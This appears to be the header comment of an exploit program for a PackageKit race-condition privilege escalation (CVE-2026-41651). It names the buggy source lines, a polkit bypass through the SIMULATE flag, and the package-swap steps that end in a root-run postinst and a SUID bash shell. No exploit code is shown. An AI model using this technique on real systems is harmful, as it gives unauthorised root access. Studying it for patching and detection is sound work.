/*
 * Pack2TheRoot (CVE-2026-41651) — PackageKit TOCTOU Local Privilege Escalation
 *
 * Affected : PackageKit 1.0.2 – 1.3.4
 * Fixed in : PackageKit 1.3.5 (commit 76cfb675)
 *
 * Root cause — three cooperating bugs in src/pk-transaction.c:
 *
 *   BUG 1 [line 4036]      InstallFiles() stores cached_transaction_flags and
 *                           cached_full_paths unconditionally; no state guard.
 *
 *   BUG 2 [lines 876-881]  pk_transaction_set_state() silently rejects backward
 *                           transitions (READY→WAITING_FOR_AUTH); flags already
 *                           overwritten.
 *
 *   BUG 3 [lines 2273-2277] pk_transaction_run() reads cached flags at dispatch
 *                            time, not at authorisation time.
 *
 *   BYPASS[lines 2893-2900] SIMULATE flag (pk_bitfield_value=1<<2=4) skips polkit.
 *
 * Attack (zero-interaction, no polkit prompt):
 *
 *   1. InstallFiles(SIMULATE, dummy.deb)
 *        → polkit bypassed → state = READY
 *        → g_idle_add(pk_scheduler_run_idle_cb)   [dispatch queued]
 *
 *   2. InstallFiles(NONE, payload.deb)              [BUG 1 – before idle fires]
 *        → cached_transaction_flags ← NONE
 *        → cached_full_paths        ← [payload.deb]
 *        → set_state(WAITING_FOR_AUTH) silently rejected  [BUG 2]
 *
 *   3. GLib idle fires → pk_transaction_run()       [BUG 3]
 *        → reads NONE flags + payload.deb
 *        → postinst runs as root → SUID bash → root shell
 *
 * Compile: make  (see Makefile)
 * Usage  : ./cve-2026-41651
